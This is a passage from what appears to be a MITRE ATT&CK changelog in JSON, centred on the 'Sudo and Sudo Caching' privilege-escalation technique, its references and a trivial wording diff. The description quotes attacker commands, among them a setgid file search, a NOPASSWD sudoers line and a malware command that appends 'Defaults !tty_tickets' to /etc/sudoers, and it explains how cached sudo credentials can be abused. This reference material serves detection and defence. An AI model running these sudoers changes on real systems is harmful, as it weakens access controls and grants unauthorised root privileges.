nowrap=\"nowrap\">iles&nbsp;with&nbsp;setuid&nbsp;set&nbsp;and&nbsp;&lt;code&gt;find&nbsp;/&nbsp;-perm&nbsp;+2000&nbsp;2&gt;/dev/nul</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">les&nbsp;with&nbsp;setuid&nbsp;set&nbsp;and&nbsp;&lt;code&gt;find&nbsp;/&nbsp;-perm&nbsp;+2000&nbsp;2&gt;/dev/null</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&lt;/code&gt;&nbsp;may&nbsp;be&nbsp;used&nbsp;for&nbsp;setgid.&nbsp;Binaries&nbsp;that&nbsp;have&nbsp;these&nbsp;bi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&lt;/code&gt;&nbsp;may&nbsp;be&nbsp;used&nbsp;for&nbsp;setgid.&nbsp;Binaries&nbsp;that&nbsp;have&nbsp;these&nbsp;bit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ts&nbsp;set&nbsp;may&nbsp;then&nbsp;be&nbsp;abused&nbsp;by&nbsp;adversaries.(Citation:&nbsp;GTFOBins</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;set&nbsp;may&nbsp;then&nbsp;be&nbsp;abused&nbsp;by&nbsp;adversaries.(Citation:&nbsp;GTFOBins&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;Suid)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Suid)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1028: Operating System Configuration"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0110: Setuid/Setgid Privilege Abuse Detection (Linux/macOS)"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-30 14:34:44.992000+00:00",
                    "modified": "2026-11-03 21:38:08.407000+00:00",
                    "name": "Sudo and Sudo Caching",
                    "description": "Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The <code>sudo</code> command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code>, which is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code>.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additionally, if <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \\'Defaults !tty_tickets\\' >> /etc/sudoers</code>.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1548/003",
                            "external_id": "T1548.003"
                        },
                        {
                            "source_name": "cybereason osx proton",
                            "description": "Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.",
                            "url": "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does"
                        },
                        {
                            "source_name": "OSX.Dok Malware",
                            "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
                            "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
                        },
                        {
                            "source_name": "sudo man page 2018",
                            "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.",
                            "url": "https://www.sudo.ws/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Linux",
                        "macOS"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:38:08.407000+00:00\", \"old_value\": \"2026-05-12 15:12:00.621000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\\n\\nWithin Linux and MacOS systems, sudo (sometimes referred to as \\\"superuser do\\\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The <code>sudo</code> command \\\"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\\\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code>, which is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\\n\\nThe sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code>.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\\n\\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additionally, if <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.\\n\\nIn the wild, malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \\\\'Defaults !tty_tickets\\\\' >> /etc/sudoers</code>.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.\", \"old_value\": \"Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\\n\\nWithin Linux and MacOS systems, sudo (sometimes referred to as \\\"superuser do\\\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The <code>sudo</code> command \\\"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\\\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code>, which is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\\n\\nThe sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code>.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\\n\\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.\\n\\nIn the wild, malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \\\\'Defaults !tty_tickets\\\\' >> /etc/sudoers</code>.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.\", \"diff\": \"--- \\n+++ \\n@@ -4,6 +4,6 @@\\n \\n The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code>.(Citation: OSX.Dok Malware) Elevated privileges are required to edit this file though.\\n \\n-Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.\\n+Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additionally, if <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.\\n \\n In the wild, malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \\\\'Defaults !tty_tickets\\\\' >> /etc/sudoers</code>.(Citation: cybereason osx proton) In order for this change to be reflected, the malware also issued <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to115__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to115__0\"><a href=\"#difflib_chg_to115__top\">t</a></td><td class=\"diff_header\" id=\"from115_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;perform&nbsp;sudo&nbsp;caching&nbsp;and/or&nbsp;use&nbsp;the&nbsp;sudoers&nbsp;</td><td class=\"diff_next\"><a href=\"#difflib_chg_to115__top\">t</a></td><td class=\"diff_header\" id=\"to115_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;perform&nbsp;sudo&nbsp;caching&nbsp;and/or&nbsp;use&nbsp;the&nbsp;sudoers&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">file&nbsp;to&nbsp;elevate&nbsp;privileges.&nbsp;Adversaries&nbsp;may&nbsp;do&nbsp;this&nbsp;to&nbsp;execu</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">file&nbsp;to&nbsp;elevate&nbsp;privileges.&nbsp;Adversaries&nbsp;may&nbsp;do&nbsp;this&nbsp;to&nbsp;execu</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te&nbsp;commands&nbsp;as&nbsp;other&nbsp;users&nbsp;or&nbsp;spawn&nbsp;processes&nbsp;with&nbsp;higher&nbsp;pr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">te&nbsp;commands&nbsp;as&nbsp;other&nbsp;users&nbsp;or&nbsp;spawn&nbsp;processes&nbsp;with&nbsp;higher&nbsp;pr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ivileges.&nbsp;&nbsp;Within&nbsp;Linux&nbsp;and&nbsp;MacOS&nbsp;systems,&nbsp;sudo&nbsp;(sometimes&nbsp;r</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ivileges.&nbsp;&nbsp;Within&nbsp;Linux&nbsp;and&nbsp;MacOS&nbsp;systems,&nbsp;sudo&nbsp;(sometimes&nbsp;r</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eferred&nbsp;to&nbsp;as&nbsp;\"superuser&nbsp;do\")&nbsp;allows&nbsp;users&nbsp;to&nbsp;perform&nbsp;comman</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eferred&nbsp;to&nbsp;as&nbsp;\"superuser&nbsp;do\")&nbsp;allows&nbsp;users&nbsp;to&nbsp;perform&nbsp;comman</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ds&nbsp;from&nbsp;terminals&nbsp;with&nbsp;elevated&nbsp;privileges&nbsp;and&nbsp;to&nbsp;control&nbsp;wh</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ds&nbsp;from&nbsp;terminals&nbsp;with&nbsp;elevated&nbsp;privileges&nbsp;and&nbsp;to&nbsp;control&nbsp;wh</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;can&nbsp;perform&nbsp;these&nbsp;commands&nbsp;on&nbsp;the&nbsp;system.&nbsp;The&nbsp;&lt;code&gt;sudo&lt;/</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">o&nbsp;can&nbsp;perform&nbsp;these&nbsp;commands&nbsp;on&nbsp;the&nbsp;system.&nbsp;The&nbsp;&lt;code&gt;sudo&lt;/</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">code&gt;&nbsp;command&nbsp;\"allows&nbsp;a&nbsp;system&nbsp;administrator&nbsp;to&nbsp;delegate&nbsp;aut</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">code&gt;&nbsp;command&nbsp;\"allows&nbsp;a&nbsp;system&nbsp;administrator&nbsp;to&nbsp;delegate&nbsp;aut</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hority&nbsp;to&nbsp;give&nbsp;certain&nbsp;users&nbsp;(or&nbsp;groups&nbsp;of&nbsp;users)&nbsp;the&nbsp;abilit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hority&nbsp;to&nbsp;give&nbsp;certain&nbsp;users&nbsp;(or&nbsp;groups&nbsp;of&nbsp;users)&nbsp;the&nbsp;abilit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;to&nbsp;run&nbsp;some&nbsp;(or&nbsp;all)&nbsp;commands&nbsp;as&nbsp;root&nbsp;or&nbsp;another&nbsp;user&nbsp;whil</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;to&nbsp;run&nbsp;some&nbsp;(or&nbsp;all)&nbsp;commands&nbsp;as&nbsp;root&nbsp;or&nbsp;another&nbsp;user&nbsp;whil</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;providing&nbsp;an&nbsp;audit&nbsp;trail&nbsp;of&nbsp;the&nbsp;commands&nbsp;and&nbsp;their&nbsp;argumen</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;providing&nbsp;an&nbsp;audit&nbsp;trail&nbsp;of&nbsp;the&nbsp;commands&nbsp;and&nbsp;their&nbsp;argumen</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ts.\"(Citation:&nbsp;sudo&nbsp;man&nbsp;page&nbsp;2018)&nbsp;Since&nbsp;sudo&nbsp;was&nbsp;made&nbsp;for&nbsp;t</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ts.\"(Citation:&nbsp;sudo&nbsp;man&nbsp;page&nbsp;2018)&nbsp;Since&nbsp;sudo&nbsp;was&nbsp;made&nbsp;for&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;system&nbsp;administrator,&nbsp;it&nbsp;has&nbsp;some&nbsp;useful&nbsp;configuration&nbsp;fe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;system&nbsp;administrator,&nbsp;it&nbsp;has&nbsp;some&nbsp;useful&nbsp;configuration&nbsp;fe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">atures&nbsp;such&nbsp;as&nbsp;a&nbsp;&lt;code&gt;timestamp_timeout&lt;/code&gt;,&nbsp;which&nbsp;is&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">atures&nbsp;such&nbsp;as&nbsp;a&nbsp;&lt;code&gt;timestamp_timeout&lt;/code&gt;,&nbsp;which&nbsp;is&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;amount&nbsp;of&nbsp;time&nbsp;in&nbsp;minutes&nbsp;between&nbsp;instances&nbsp;of&nbsp;&lt;code&gt;sudo&lt;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;amount&nbsp;of&nbsp;time&nbsp;in&nbsp;minutes&nbsp;between&nbsp;instances&nbsp;of&nbsp;&lt;code&gt;sudo&lt;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/code&gt;&nbsp;before&nbsp;it&nbsp;will&nbsp;re-prompt&nbsp;for&nbsp;a&nbsp;password.&nbsp;This&nbsp;is&nbsp;beca</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/code&gt;&nbsp;before&nbsp;it&nbsp;will&nbsp;re-prompt&nbsp;for&nbsp;a&nbsp;password.&nbsp;This&nbsp;is&nbsp;beca</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">use&nbsp;&lt;code&gt;sudo&lt;/code&gt;&nbsp;has&nbsp;the&nbsp;ability&nbsp;to&nbsp;cache&nbsp;credentials&nbsp;f</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">use&nbsp;&lt;code&gt;sudo&lt;/code&gt;&nbsp;has&nbsp;the&nbsp;ability&nbsp;to&nbsp;cache&nbsp;credentials&nbsp;f</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;a&nbsp;period&nbsp;of&nbsp;time.&nbsp;Sudo&nbsp;creates&nbsp;(or&nbsp;touches)&nbsp;a&nbsp;file&nbsp;at&nbsp;&lt;co</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;a&nbsp;period&nbsp;of&nbsp;time.&nbsp;Sudo&nbsp;creates&nbsp;(or&nbsp;touches)&nbsp;a&nbsp;file&nbsp;at&nbsp;&lt;co</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&gt;/var/db/sudo&lt;/code&gt;&nbsp;with&nbsp;a&nbsp;timestamp&nbsp;of&nbsp;when&nbsp;sudo&nbsp;was&nbsp;las</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&gt;/var/db/sudo&lt;/code&gt;&nbsp;with&nbsp;a&nbsp;timestamp&nbsp;of&nbsp;when&nbsp;sudo&nbsp;was&nbsp;las</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;run&nbsp;to&nbsp;determine&nbsp;this&nbsp;timeout.&nbsp;Additionally,&nbsp;there&nbsp;is&nbsp;a&nbsp;&lt;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;run&nbsp;to&nbsp;determine&nbsp;this&nbsp;timeout.&nbsp;Additionally,&nbsp;there&nbsp;is&nbsp;a&nbsp;&lt;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ode&gt;tty_tickets&lt;/code&gt;&nbsp;variable&nbsp;that&nbsp;treats&nbsp;each&nbsp;new&nbsp;tty&nbsp;(te</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ode&gt;tty_tickets&lt;/code&gt;&nbsp;variable&nbsp;that&nbsp;treats&nbsp;each&nbsp;new&nbsp;tty&nbsp;(te</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rminal&nbsp;session)&nbsp;in&nbsp;isolation.&nbsp;This&nbsp;means&nbsp;that,&nbsp;for&nbsp;example,&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rminal&nbsp;session)&nbsp;in&nbsp;isolation.&nbsp;This&nbsp;means&nbsp;that,&nbsp;for&nbsp;example,&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;sudo&nbsp;timeout&nbsp;of&nbsp;one&nbsp;tty&nbsp;will&nbsp;not&nbsp;affect&nbsp;another&nbsp;tty&nbsp;(you</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;sudo&nbsp;timeout&nbsp;of&nbsp;one&nbsp;tty&nbsp;will&nbsp;not&nbsp;affect&nbsp;another&nbsp;tty&nbsp;(you</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;will&nbsp;have&nbsp;to&nbsp;type&nbsp;the&nbsp;password&nbsp;again).&nbsp;&nbsp;The&nbsp;sudoers&nbsp;file,&nbsp;&lt;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;will&nbsp;have&nbsp;to&nbsp;type&nbsp;the&nbsp;password&nbsp;again).&nbsp;&nbsp;The&nbsp;sudoers&nbsp;file,&nbsp;&lt;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">code&gt;/etc/sudoers&lt;/code&gt;,&nbsp;describes&nbsp;which&nbsp;users&nbsp;can&nbsp;run&nbsp;whic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">code&gt;/etc/sudoers&lt;/code&gt;,&nbsp;describes&nbsp;which&nbsp;users&nbsp;can&nbsp;run&nbsp;whic</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;commands&nbsp;and&nbsp;from&nbsp;which&nbsp;terminals.&nbsp;This&nbsp;also&nbsp;describes&nbsp;whi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">h&nbsp;commands&nbsp;and&nbsp;from&nbsp;which&nbsp;terminals.&nbsp;This&nbsp;also&nbsp;describes&nbsp;whi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ch&nbsp;commands&nbsp;users&nbsp;can&nbsp;run&nbsp;as&nbsp;other&nbsp;users&nbsp;or&nbsp;groups.&nbsp;This&nbsp;pro</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ch&nbsp;commands&nbsp;users&nbsp;can&nbsp;run&nbsp;as&nbsp;other&nbsp;users&nbsp;or&nbsp;groups.&nbsp;This&nbsp;pro</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">vides&nbsp;the&nbsp;principle&nbsp;of&nbsp;least&nbsp;privilege&nbsp;such&nbsp;that&nbsp;users&nbsp;are&nbsp;r</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">vides&nbsp;the&nbsp;principle&nbsp;of&nbsp;least&nbsp;privilege&nbsp;such&nbsp;that&nbsp;users&nbsp;are&nbsp;r</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">unning&nbsp;in&nbsp;their&nbsp;lowest&nbsp;possible&nbsp;permissions&nbsp;for&nbsp;most&nbsp;of&nbsp;the&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">unning&nbsp;in&nbsp;their&nbsp;lowest&nbsp;possible&nbsp;permissions&nbsp;for&nbsp;most&nbsp;of&nbsp;the&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">time&nbsp;and&nbsp;only&nbsp;elevate&nbsp;to&nbsp;other&nbsp;users&nbsp;or&nbsp;permissions&nbsp;as&nbsp;neede</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">time&nbsp;and&nbsp;only&nbsp;elevate&nbsp;to&nbsp;other&nbsp;users&nbsp;or&nbsp;permissions&nbsp;as&nbsp;neede</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d,&nbsp;typically&nbsp;by&nbsp;prompting&nbsp;for&nbsp;a&nbsp;password.&nbsp;However,&nbsp;the&nbsp;sudoe</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d,&nbsp;typically&nbsp;by&nbsp;prompting&nbsp;for&nbsp;a&nbsp;password.&nbsp;However,&nbsp;the&nbsp;sudoe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rs&nbsp;file&nbsp;can&nbsp;also&nbsp;specify&nbsp;when&nbsp;to&nbsp;not&nbsp;prompt&nbsp;users&nbsp;for&nbsp;passwo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rs&nbsp;file&nbsp;can&nbsp;also&nbsp;specify&nbsp;when&nbsp;to&nbsp;not&nbsp;prompt&nbsp;users&nbsp;for&nbsp;passwo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rds&nbsp;with&nbsp;a&nbsp;line&nbsp;like&nbsp;&lt;code&gt;user1&nbsp;ALL=(ALL)&nbsp;NOPASSWD:&nbsp;ALL&lt;/co</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rds&nbsp;with&nbsp;a&nbsp;line&nbsp;like&nbsp;&lt;code&gt;user1&nbsp;ALL=(ALL)&nbsp;NOPASSWD:&nbsp;ALL&lt;/co</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&gt;.(Citation:&nbsp;OSX.Dok&nbsp;Malware)&nbsp;Elevated&nbsp;privileges&nbsp;are&nbsp;requ</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&gt;.(Citation:&nbsp;OSX.Dok&nbsp;Malware)&nbsp;Elevated&nbsp;privileges&nbsp;are&nbsp;requ</td></tr>\n            <tr><td class=\"diff_next\"></td><td 